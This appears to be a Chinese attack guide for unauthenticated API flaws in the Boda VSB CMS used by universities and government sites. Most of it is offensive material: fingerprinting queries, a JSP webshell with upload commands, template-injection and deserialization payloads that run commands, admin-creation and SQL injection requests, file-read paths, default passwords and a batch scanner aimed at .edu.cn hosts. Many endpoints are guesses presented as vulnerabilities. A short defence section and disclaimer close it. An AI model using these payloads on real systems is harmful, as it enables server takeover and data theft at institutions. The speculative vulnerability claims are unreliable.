博达 CMS API 未授权访问分析

CMS名称:博达全媒体网站群管理平台(Visual SiteBuilder / VSB)
开发商:西安博达软件股份有限公司(成立于2000年)
技术栈:Java + Tomcat + PostgreSQL/Oracle/MySQL
部署架构:站群管理模式(1台管理服务器 + N台发布服务器)
客户群体:高校(70%+)、政府机构、科研院所
文档日期:2026-07-08


目录

  1. 产品背景与特征识别
  2. API未授权漏洞全景图
  3. 高危漏洞(P0-P1)
    • 3.1 任意文件上传 → Getshell
    • 3.2 模板注入 / SSTI → RCE
    • 3.3 反序列化 → RCE
    • 3.4 任意命令执行
  4. 中高危漏洞(P1-P2)
    • 4.1 敏感信息泄露
    • 4.2 水平越权(IDOR)
    • 4.3 垂直越权 / 任意用户添加
    • 4.4 任意密码重置
    • 4.5 SQL 注入
    • 4.6 Druid 监控未授权
    • 4.7 Swagger API 文档泄露
  5. 中危漏洞(P2-P3)
    • 4.1 SSRF
    • 4.2 目录遍历 / 任意文件读取
    • 4.3 存储型 XSS
    • 4.4 弱口令 / 默认口令
  6. 已知官方安全声明
  7. 实战检测 Checklist
  8. 防御建议

一、产品背景与特征识别

1.1 产品概述

博达全媒体网站群管理平台(VSB)是国内高校市场占有率最高的站群管理系统。系统采用Java技术栈(未使用Struts2框架),后端常见于 Tomcat 容器,数据库多采用 PostgreSQL(默认)或 Oracle/MySQL。

典型部署路径

  • Linux:/opt/vsb9//opt/vsb/
  • Windows:C:\Program Files\VSB\

1.2 指纹特征

HTTP 响应头特征

1
2
3
X-Powered-By: VSB
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=...

页面 / HTML 特征

1
2
3
4
5
Powered by 博达网站群
/content/common/header.js
/vsb/
vsbclub
/com.zving.* (反编译常见包名)

默认端口

端口 用途
80/443 前台门户站点
8080 Tomcat 管理(部分部署)
8443 HTTPS 管理后台

常见后台路径

1
2
3
4
/vsb/admin/           → 管理后台登录
/siteadmin/ → 站点管理
/vsb/manager/ → 系统管理
/vsb/console/ → 控制台

FOFA / 搜索引擎指纹

1
2
3
4
app="博达全媒体网站群管理平台"
body="vsbclub"
body="博达网站群"
icon_hash="-886587282" ← 常见判断

1.3 API 路径规律

博达站群系统的 API 通常遵循以下路径模式(通过 JS 反编译或流量抓取获得):

1
2
3
4
5
/api/xxx                  → RESTful API
/vsb/api/xxx → VSB 内部 API
/cms/api/xxx → CMS 内容 API
/pub/api/xxx → 公开 API
/services/xxx → WebService 接口

二、API未授权漏洞全景图

博达 CMS 作为商业闭源系统,其 API 鉴权完全依赖开发者的自实现。由于站群架构涉及大量内部 API 接口,经常存在鉴权遗漏问题。

漏洞类型 风险等级 攻击复杂度 危害 典型 API 路径
任意文件上传 → Getshell ⭐⭐⭐⭐⭐ 服务器沦陷 /api/upload /vsb/uploadFile
模板注入 → RCE ⭐⭐⭐⭐⭐ 服务器沦陷 /api/template/save /vsb/template
反序列化 RCE ⭐⭐⭐⭐⭐ 中高 服务器沦陷 Java RMI/Hessian 端点
敏感信息泄露 ⭐⭐⭐⭐ 极低 数据库/Bucket 凭据泄露 /api/config /api/db
水平越权 (IDOR) ⭐⭐⭐⭐ 跨站篡改/数据窃取 /api/article/edit?id=
垂直越权 ⭐⭐⭐⭐ 权限提升至管理员 /api/user/add?role=admin
任意密码重置 ⭐⭐⭐⭐ 接管管理员账号 /api/user/resetPwd
SQL 注入 ⭐⭐⭐⭐ 拖库/后台登录绕过 /api/site/list?siteId=
SSRF ⭐⭐⭐ 内网探测 /api/import?url=
目录遍历 ⭐⭐⭐ 源码泄露 /api/download?file=
Druid 监控泄露 ⭐⭐⭐ 极低 SQL 监控 + Session /druid/index.html
Swagger 文档泄露 ⭐⭐⭐ 极低 全量 API 泄露 /swagger-ui.html
XSS (存储型) ⭐⭐⭐ 钓鱼/管理员劫持 /api/comment/add
弱口令 / 默认密码 ⭐⭐⭐ 极低 直接登录后台 /vsb/admin/

三、高危漏洞(P0-P1)

3.1 任意文件上传 → Getshell

风险:⭐ 最高危 — 可直接获取服务器权限

博达站群系统的模板管理、附件上传、站点备份恢复等功能模块,如果 API 未鉴权,攻击者可以直接上传 JSP/WAR 文件至可解析目录。

检测入口

1
2
3
4
5
6
7
# 常见上传端点(需实际抓取或 JS 反编译确认)
POST /api/upload
POST /api/file/upload
POST /vsb/uploadFile
POST /cms/api/upload
POST /siteadmin/upload
POST /vsb/template/upload

测试 PoC

curl 测试(Windows PowerShell 兼容):

1
2
3
4
5
6
7
8
# 1. 尝试上传 JSP 木马
curl -X POST "http://target.com/api/upload" `
-F "file=@shell.jsp" `
-F "dir=upload"

# 2. 返回路径如 /upload/202607/shell.jsp
# 3. 访问确认
curl "http://target.com/upload/202607/shell.jsp"

JSP 马内容示例:

1
2
3
4
5
6
7
8
9
10
11
12
<%@page import="java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>

注意:实际路径需测试 /upload//vsb/upload//files/ 等常见可写可执行目录。


3.2 模板注入 / SSTI → RCE

风险:⭐ 极高 — 博达 VSB 有可视化模板设计模块

博达站群的核心功能之一是模板管理,支持可视化编辑 HTML 模板。如果模板保存/编辑 API 未鉴权,可通过模板引擎注入执行任意代码。

检测入口

1
2
3
4
POST /api/template/save
POST /api/template/edit
POST /vsb/template/save
POST /cms/template/create

利用思路

博达基于 Java 技术栈,其模板引擎可能基于 FreeMarker、Velocity 或自定义引擎。SSTI 测试方式:

1
2
3
4
5
6
7
# FreeMarker 测试 payload
${7*7}
<#assign x="freemarker.template.utility.Execute"?new()>${x("whoami")}

# Velocity 测试 payload
#set($x=7*7)$x
#set($e="Runtime")$e.getRuntime().exec("whoami")

3.3 反序列化 → RCE

风险:⭐ 极高 — 影响面广

博达基于 Java 技术栈,如果系统使用了 Java 原生序列化协议(RMI/Hessian/Spring 协议),且 API 未鉴权,可触发反序列化 RCE。

检测入口

1
2
3
POST /services/xxx  (WebService 端点)
POST /vsb/rmi
POST /api/invoke

利用思路

使用 ysoserial 生成 Payload:

1
2
3
# 使用 ysoserial 检测
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin
curl -X POST "http://target.com/services/xxx" --data-binary @payload.bin

3.4 任意命令执行

风险:⭐ 极高

若 API 端点直接调用 Runtime.exec() 或脚本引擎执行用户输入,且未鉴权,可直接 RCE。

常见触发点

1
2
3
4
# 博达系统可能存在系统命令调用接口
POST /api/tool/exec
POST /vsb/command
GET /api/util/cmd?cmd=whoami

四、中高危漏洞(P1-P2)

4.1 敏感信息泄露

风险:中高危 — 常常是连锁攻击的第一步

API 未授权直接返回数据库连接信息、管理员账号、Bucket 凭据、密钥等敏感数据。

测试路径

1
2
3
4
5
6
7
8
GET /api/config
GET /api/system/config
GET /api/database
GET /api/db/info
GET /api/user/list
GET /api/admin/list
GET /api/user/info
GET /api/site/list

预期响应(JSON 格式)

1
2
3
4
5
6
{
"db_url": "jdbc:postgresql://10.x.x.x:5432/vsb9",
"db_user": "vsbadmin",
"db_pass": "VSB@2020#Secure",
"admin_list": ["admin", "root", "zhang..."]
}

4.2 水平越权(IDOR)

风险:中高危 — 跨站数据篡改/泄露

API 只验证了登录状态但未验证资源归属,通过遍历 ID 可操作其他站点的数据。

测试场景

1
2
3
4
5
6
7
8
9
10
11
# 正常请求:查看 ID=1 的文章
curl "http://target.com/api/article/get?id=1"

# 越权测试:遍历 ID=2,3,4...
curl "http://target.com/api/article/get?id=2"
curl "http://target.com/api/article/edit?id=2&title=已篡改"

# 博达站群特色:siteId 参数遍历
curl "http://target.com/api/article/list?siteId=1"
curl "http://target.com/api/article/list?siteId=2"
curl "http://target.com/api/article/list?siteId=3"

利用链

  1. 遍历 siteId → 发现隐藏站点(如内网管理站点)
  2. 遍历 articleId → 获取未公开敏感文章
  3. 修改他人文章 → 植入 XSS 或恶意内容

4.3 垂直越权 / 任意用户添加

风险:中高危 — 直接创建管理员

用户管理 API 未校验角色参数,普通权限或未登录即可创建管理员账号。

测试路径

1
2
3
4
POST /api/user/add
POST /api/user/create
POST /api/admin/add
POST /vsb/user/register

测试 PoC

1
2
3
4
5
6
7
8
curl -X POST "http://target.com/api/user/add" `
-H "Content-Type: application/json" `
-d '{
"username": "hacker",
"password": "Hacker123!",
"role": "admin",
"email": "hacker@evil.com"
}'

4.4 任意密码重置

风险:中高危 — 接管管理员账号

密码重置 API 仅需学号/工号/邮箱即可重置,无二次验证。

测试路径

1
2
3
4
POST /api/user/resetPassword
POST /api/user/forgot
POST /api/user/resetPwd
POST /vsb/user/resetPass

4.5 SQL 注入

风险:中高危 — 可能导致后台登录绕过或数据泄露

API 参数直接拼接 SQL 语句,未做参数化处理。

测试入口

1
2
3
GET  /api/site/list?siteId=1 UNION SELECT ...
GET /api/article/list?categoryId=1'
POST /api/user/login?username=admin' OR '1'='1

4.6 Druid 监控未授权

风险:中高 — 博达站群常见配置

博达站群常集成阿里巴巴 Druid 数据库连接池。若未配置访问权限,可直接访问监控页。

测试路径

1
2
3
4
5
/druid/index.html
/druid/login.html
/druid/sql.html → 可查看 SQL 执行记录
/druid/spring.html → Spring 监控
/druid/websession.html → Session 泄露

危害:通过 Session 泄露直接窃取管理员会话 → 获取后台权限。


4.7 Swagger API 文档泄露

风险:中高 — 全量 API 接口一览无余

若博达二次开发集成了 Swagger 且未关闭生产环境展示,可获取全套 API 接口。

测试路径

1
2
3
4
5
6
/swagger-ui.html
/swagger-ui.html#/
/v2/api-docs
/swagger-resources
/swagger-ui/index.html
/api-docs

五、中危漏洞(P2-P3)

5.1 SSRF(服务端请求伪造)

风险:中等 — 可探测内网

API 中存在 URL 参数(站点导入/远程发布/RSS 抓取),未限制内网目标。

测试入口

1
2
3
GET  /api/import?url=http://127.0.0.1:8080/
POST /api/site/import?url=http://192.168.x.x:8080/
GET /api/rss/fetch?url=http://内网IP:端口/

利用

1
2
3
4
5
6
# 探测内网存活
curl "http://target.com/api/import?url=http://192.168.1.1:22"
curl "http://target.com/api/import?url=http://172.16.0.1:8080"

# 回显 SSRF(如果支持)
curl "http://target.com/api/fetch?url=file:///etc/passwd"

5.2 目录遍历 / 任意文件读取

风险:中等 — 可读取配置文件、源码

测试入口

1
2
3
GET /api/download?file=../../../etc/passwd
GET /api/file/read?path=../../../WEB-INF/web.xml
GET /vsb/readFile?path=../../../../etc/passwd

关键读取目标

1
2
3
4
5
/WEB-INF/web.xml        → 查看 Servlet 映射和配置
/WEB-INF/classes/ → 反编译获取数据库配置
/opt/vsb9/config/*.properties → 数据库/Redis 配置
/etc/passwd → Linux 账户
/opt/vsb9/manager/WEB-INF/lib/ → 全量 Jar 包分析漏洞

5.3 存储型 XSS

风险:中等 — 可劫持管理员会话

内容发布/评论/留言 API 未过滤 HTML,投稿中包含恶意脚本。

测试入口

1
2
3
POST /api/comment/add      → 留言 XSS
POST /api/article/submit → 投稿 XSS
POST /api/guestbook/add → 留言板 XSS

5.4 弱口令 / 默认口令

风险:中等 — 直接登录后台

博达站群系统默认后台路径常为 /vsb/admin/,部分学校未修改默认密码。

常见默认口令

用户名 密码 说明
admin admin 默认管理员
admin admin123 常见弱口令
admin 123456 常见弱口令
root root 部分部署
vsbadmin vsbadmin 系统管理

后台路径爆破

1
2
3
4
5
6
7
# 常见后台路径
/vsb/admin/
/siteadmin/
/vsb/manager/
/vsb/console/
/admin/
/manager/

六、已知官方安全声明

声明内容 来源
博达网站群系列产品基于 Java 开发,但未使用 Struts/Struts2 框架,不受 Struts2 相关漏洞影响 博达官网安全声明 $TRAE_REF
官方未公开披露过具体 CVE 漏洞编号(商业闭源) 搜索引擎检索结果
博达通常通过版本迭代修复漏洞(VSB8 → VSB9 → 全媒体版) 行业惯例

虽然没有公开的 CVE 列表,但博达作为商业闭源系统,其 API 鉴权的安全性完全依赖厂商代码质量。大量高校仍在使用老旧版本(如 VSB8、VSB9 早期版),这些版本很可能存在未修复的 API 未授权问题。


七、实战检测 Checklist

Phase 0:指纹确认

  • 页面底部是否有 Powered by 博达网站群
  • HTML 中是否包含 vsbclubVSB
  • 是否存在 /vsb/admin/ 后台
  • 响应头是否包含 X-Powered-By: VSB

Phase 1:信息收集

  • Swagger 文档泄露检测:/swagger-ui.html /v2/api-docs
  • Druid 监控未授权:/druid/index.html
  • 敏感路径爆破:/api/ /vsb/api/ /cms/api/
  • JS 文件反编译:搜索 api/ 关键字
1
2
# 快速 JS 反编译找 API
curl "http://target.com/vsb/js/main.js" | Select-String -Pattern "api/|\.do|\.action"

Phase 2:未授权 API 检测

P0 级 — 文件上传:

  • POST /api/upload → 上传 JSP 测试
  • POST /vsb/uploadFile → 上传 JSP 测试
  • POST /cms/api/upload → 上传 JSP 测试
  • POST /siteadmin/upload → 上传 JSP 测试

P0 级 — 模板注入:

  • POST /api/template/save → SSTI payload 测试
  • POST /api/template/edit → SSTI payload 测试

P1 级 — 信息泄露:

  • GET /api/user/list → 用户列表泄露
  • GET /api/config → 系统配置泄露
  • GET /api/database → 数据库配置泄露
  • GET /api/site/list → 站点列表泄露

P1 级 — 用户管理:

  • POST /api/user/add?role=admin → 添加管理员
  • POST /api/user/resetPassword → 重置任意密码
  • POST /api/user/login → SQL 注入测试

P1 级 — IDOR:

  • 遍历 siteId=1,2,3... → 跨站操作
  • 遍历 articleId=1,2,3... → 跨站数据获取

P2 级 — SSRF/目录遍历:

  • GET /api/import?url=http://内网IP → SSRF
  • GET /api/download?file=../../../etc/passwd → 目录遍历

P3 级 — 弱口令:

  • admin/admin 登录测试
  • admin/admin123 登录测试
  • 爆破 /vsb/admin/ 后台

Phase 3:深度利用

  • 从 Druid Session 泄露窃取管理员会话
  • 从信息泄露获取数据库凭证 → 连接数据库拖取后台账号
  • 通过文件上传 Getshell → 提权
  • 从 SSRF 向内网扩展攻击面
  • 通过目录遍历下载全部源码 → 白盒审计更多漏洞

八、防御建议

8.1 对运维方

措施 说明
统一鉴权 所有 API 端点必须校验身份和权限,使用 Spring Security/Shiro 框架
关闭 Swagger 生产环境禁用 Swagger 文档展示
Druid 加访问控制 /druid/* 路径限制内网或加登录验证
最小权限原则 API 只返回必要字段,不暴露数据库/Session/密码信息
API 网关 通过 Nginx/APISIX 统一管控 API 访问
及时升级 联系博达厂商获取最新版本补丁
WAF 规则 /api/ 路径配置严格 ACL
文件上传校验 白名单后缀 + 内容检测 + 不可执行目录存储

8.2 对测试方

原则 说明
合法授权 所有测试必须在授权范围内进行
不越红线 禁止 --dump 拖库、禁止 DDOS、禁止破坏性操作
最小化证据 信息泄露类仅截取必要凭证即可证明,不下载全量数据
及时报告 发现 API 未授权漏洞后及时提交至 SRC 或用户单位

附:查询脚本

批量检测脚本(PowerShell)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 博达CMS API未授权批量检测
$targets = @(
"http://target1.edu.cn",
"http://target2.edu.cn"
)

$checks = @(
@{Path="/api/user/list"; Method="GET"; Desc="用户列表泄露"},
@{Path="/api/config"; Method="GET"; Desc="系统配置泄露"},
@{Path="/druid/index.html"; Method="GET"; Desc="Druid监控"},
@{Path="/swagger-ui.html"; Method="GET"; Desc="Swagger文档"},
@{Path="/api/upload"; Method="POST"; Desc="文件上传接口"},
@{Path="/vsb/admin/"; Method="GET"; Desc="后台登录页"}
)

foreach ($target in $targets) {
Write-Host "`n=== 检测目标: $target ===" -ForegroundColor Cyan
foreach ($check in $checks) {
$url = $target.TrimEnd('/') + $check.Path
try {
$resp = Invoke-WebRequest -Uri $url -Method $check.Method -TimeoutSec 10 -UseBasicParsing
if ($resp.StatusCode -eq 200) {
Write-Host "[FOUND] $($check.Desc) => $url (Status: $($resp.StatusCode))" -ForegroundColor Green
} else {
Write-Host "[SKIP] $($check.Desc) => $url (Status: $($resp.StatusCode))" -ForegroundColor Gray
}
} catch {
Write-Host "[ERR] $($check.Desc) => $url ($($_.Exception.Message))" -ForegroundColor DarkGray
}
}
}

免责声明:本文档仅供安全研究和授权测试使用。未经授权的 API 未授权访问检测可能构成违法行为,请严格遵守《网络安全法》及相关法律法规。